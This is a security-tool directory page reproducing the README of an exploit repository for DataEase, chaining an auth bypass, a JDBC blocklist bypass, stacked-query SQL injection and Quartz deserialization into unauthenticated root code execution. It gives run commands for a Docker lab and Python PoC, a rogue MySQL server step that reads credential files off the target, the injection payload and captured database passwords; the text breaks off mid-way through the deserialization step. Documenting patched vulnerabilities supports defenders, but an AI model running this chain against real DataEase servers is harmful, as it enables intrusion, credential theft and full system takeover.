Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
EXPLOIT-CVE-2026-40901 — Automated exploit for DataEase: 4-vulnerability chain (auth bypass, JDBC blocklist bypass, SQL injection, Java deserialization) achieving unauthenticated RCE. Includes Docker lab and Python PoC. | Kitploit
Tools/GitHubGitHub/joaovicdev/exploit-cve-2026-40901
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload DevelopmentLabs & Practice
GitHub
joaovicdev/exploit-cve-2026-40901

EXPLOIT-CVE-2026-40901

Automated exploit for DataEase: 4-vulnerability chain (auth bypass, JDBC blocklist bypass, SQL injection, Java deserialization) achieving unauthenticated RCE. Includes Docker lab and Python PoC.

View Repository
1843 months agoNot yet reviewed
Share

DataEase — Unauthenticated RCE via a 4-vulnerability chain (CVE-2026-40901 & friends)

Auth bypass → JDBC blocklist bypass (arbitrary file read) → SQL injection → Java deserialization in Quartz → remote code execution as root.

Self-contained local lab (Docker) + working PoC. Fixed in DataEase v2.10.21.

DataEase is a popular open-source BI / data-visualization platform (Java / Spring Boot). Versions ≤ v2.10.20 are vulnerable to a chain of four issues that together turn a network-reachable DataEase into remote code execution:

#CVEClassWhat it gives us
1CVE-2026-23958Auth bypass (CWE-287/CWE-347)Act as admin — no valid signature needed
2CVE-2026-40899JDBC blocklist bypass (CWE-20)Arbitrary file read → steal backend DB creds
3CVE-2026-40900SQL injection / stacked queries (CWE-89)Write into DataEase's own database
4CVE-2026-40901Java deserialization (CWE-502)RCE as root via the Quartz job store

TL;DR

# 1. bring up a vulnerable DataEase v2.10.20 + MySQL
docker compose up -d
# wait until http://localhost:8100/de2api/dekey returns 200 (Flyway migration ~20s)

# 2. fire the chain
python3 exploit/de_rce_chain.py

# 3. a few seconds later, confirm code execution as root
docker exec dataease cat /tmp/pwned_CVE_2026_40901
# uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),...
# PWNED_BY_CVE_2026_40901
# Linux 82a2b09d68e9 6.10.14-linuxkit ... aarch64 Linux

Lab setup

Everything runs locally in Docker. No external services, no internet target.

docker-compose.yml         vulnerable DataEase v2.10.20 + MySQL 8.4
conf/application-standalone.yml   repoints the DB at the local mysql-de
mysql/                     my.cnf + init.sql (creates the empty `dataease` DB)
exploit/                   the PoC

Bring it up:

docker compose up -d
# wait until http://localhost:8100/de2api/dekey returns 200 (Flyway migration ~20s)
  • Web UI / API: http://localhost:8100 (API prefix /de2api)
  • Default creds shipped by DataEase: admin / DataEase@123456
  • The DataEase JVM runs as root inside its container — so our shell is root.

Requirements on the host: Docker, Python 3.8+ with cryptography (pip install -r exploit/requirements.txt), and the Docker CLI (used to run ysoserial in a throwaway eclipse-temurin:8-jre container to build the gadget).


The chain, step by step

1. CVE-2026-23958 — authentication bypass

DataEase authenticates requests in a servlet filter, TokenFilter (sdk/common/.../auth/filter/TokenFilter.java). It reads the token and calls TokenUtils.validate(), which ends up in:

// io.dataease.utils.TokenUtils
public static TokenUserBO userBOByToken(String token) {
    DecodedJWT jwt = JWT.decode(token);        // <-- decode only, NO signature check
    Long userId = jwt.getClaim("uid").asLong();
    Long oid    = jwt.getClaim("oid").asLong();
    ...
    return new TokenUserBO(userId, oid);
}

JWT.decode() never verifies the signature. The only checks are: the token is ≥ 100 characters and carries an integer uid claim. So any JWT that says "uid": 1 makes the request run as the built-in administrator (uid 1).

There is a second filter (CommunityTokenFilter) that does verify a signature for the X-DE-TOKEN header — but only under specific conditions, and the signing key is either a per-user secret or, in a plain community build, the MD5 of the hardcoded default password DataEase@123456 (SubstituleLoginConfig → dataease.default-pwd). The companion share-link path (X-DE-LINK-TOKEN) is signed with the hardcoded key link-pwd-fit2cloud (LinkTokenUtil.defaultPwd) and, pre-fix, was likewise decoded without verification.

Net effect: an attacker can mint an administrator token. de_common.py includes forge_jwt() which produces the signature-less token; the PoC also supports simply logging in with the ubiquitous default credentials to obtain a fully valid X-DE-TOKEN for the rest of the chain.

The fix (commit 00c169caa) makes TokenFilter look up the real per-resource secret and actually call verifier.verify(...).

2. CVE-2026-40899 — JDBC blocklist bypass → arbitrary file read

When you add a MySQL datasource, DataEase refuses a set of dangerous JDBC parameters. That blocklist lives in a Lombok @Data field:

// io.dataease.datasource.type.Mysql   (extends DatasourceConfiguration, @Data)
private List<String> illegalParameters = Arrays.asList(
    "maxAllowedPacket","autoDeserialize","queryInterceptors","statementInterceptors",
    "detectCustomCollations","allowloadlocalinfile","allowUrlInLocalInfile",
    "allowLoadLocalInfileInPath");

Because @Data auto-generates setIllegalParameters(...), Jackson will happily populate it from attacker-controlled JSON. Sending "illegalParameters": [] in the (Base64-encoded) configuration blob empties the blocklist before it is checked. We can then point the datasource at a rogue MySQL server with allowLoadLocalInfile=true&allowUrlInLocalInfile=true&allowLoadLocalInfileInPath=/ and read arbitrary files off the DataEase host via the MySQL LOCAL INFILE mechanism.

# terminal A — rogue server, choose any file to steal
python3 exploit/rogue_mysql.py --port 3307 \
        --file /opt/apps/config/application-standalone.yml

# terminal B — make DataEase connect to it (host.docker.internal reaches your host)
python3 exploit/file_read.py --rogue-host host.docker.internal --rogue-port 3307

Result — DataEase hands us its own backend DB credentials:

[+] captured '/opt/apps/config/application-standalone.yml' (613 bytes) from client:
  spring:
    datasource:
      url: jdbc:mysql://mysql-de:3306/dataease?...
      username: root
      password: Password123@mysql

Those credentials are what an attacker uses to point step 3 at DataEase's own database. The fix (commit 16a950f96) adds @JsonIgnore to every illegalParameters field so it can no longer be set from JSON.

3. CVE-2026-40900 — SQL injection (stacked queries) in previewSql

POST /de2api/datasetData/previewSql takes a Base64-encoded SQL string and, with no single-statement validation, wraps it as a subquery:

SELECT * FROM ( <your SQL> ) AS `tmp` LIMIT 100 OFFSET 0

Comments are stripped, but we can balance the parentheses and use ; to run extra statements. Because we control the datasource, we enable allowMultiQueries=true (not on the blocklist in v2.10.20), so stacked queries execute:

select 1) AS x;
UPDATE QRTZ_JOB_DETAILS SET JOB_DATA=0x<gadget> WHERE ... ;
SELECT * FROM (select 1

which the server assembles into three real statements. Pointing this datasource at DataEase's own database (creds from step 2) lets us write into its Quartz tables. Fixes: 15611593b adds allowMultiQueries to the blocklist and e89059d88 hardens the save/engine flow.

4. CVE-2026-40901 — Quartz deserialization → RCE

DataEase schedules a recurring "datasource status check" Quartz job:

  • scheduler deSyncJob, job Datasource / check_status, class io.dataease.job.schedule.CheckDsStatusJob
  • cron 0 0/6 * * * ? * (default: every 6 minutes)

Quartz uses a JDBC job store with useProperties=false, so each job's JobDataMap is stored in the QRTZ_JOB_DETAILS.JOB_DATA column as a raw Java-serialized object (you can see it: the blob starts with the serialization magic AC ED 00 05 … org.quartz.JobDataMap). When the scheduler scans for triggers it does, in StdJDBCDelegate.selectJobDetail:

Map map = (Map) getObjectFromBlob(rs, "JOB_DATA");   // new ObjectInputStream(...).readObject()
Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    837
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    536
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    424
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    355
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    294
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    276

Explore all tools

Browse our collection of tools

View all tools →